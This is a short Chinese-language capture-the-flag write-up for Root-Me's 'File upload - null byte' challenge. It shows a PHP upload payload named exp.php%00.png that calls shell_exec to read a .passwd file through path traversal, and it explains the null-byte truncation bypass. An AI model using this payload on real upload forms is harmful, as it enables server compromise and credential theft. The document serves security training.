- 来源:Root-Me
- 题型:Web-Server
- 题目:File upload - null byte
- 分数:25 Points
这题和【Web-Server : File upload - double extensions】、【Web-Server : File upload - MIME type】的渗透思路是一样的,区别在于之前的两种绕过方式均被封锁了。
这次提示的绕过方式是空字节漏洞 null byte ,依然在文件名上做文章,构造 payloads 文件 exp.php%00.png
:
<?php
// exp.php%00.png
// 假如这个文件上传成功,则可以利用 web 打开这个文件进行解析时进行路径穿越
$content = shell_exec('cat ../../../.passwd');
echo "<pre>$content</pre>";
?>
此文件名在上传时,可以在前端后缀欺骗,而后端在读取时遇到 %00
空字节会截断后面部分。
上传成功后获得 exp.php%00.png
文件的完整 URI,手工去掉末尾的 %00.png
后拼接到 URL,即可获得密码,完成挑战。
答案下载
flag 下载后的 flagzip 的文件需要手动更改后缀为
*.zip
,然后解压即可(为了避免直接刷答案)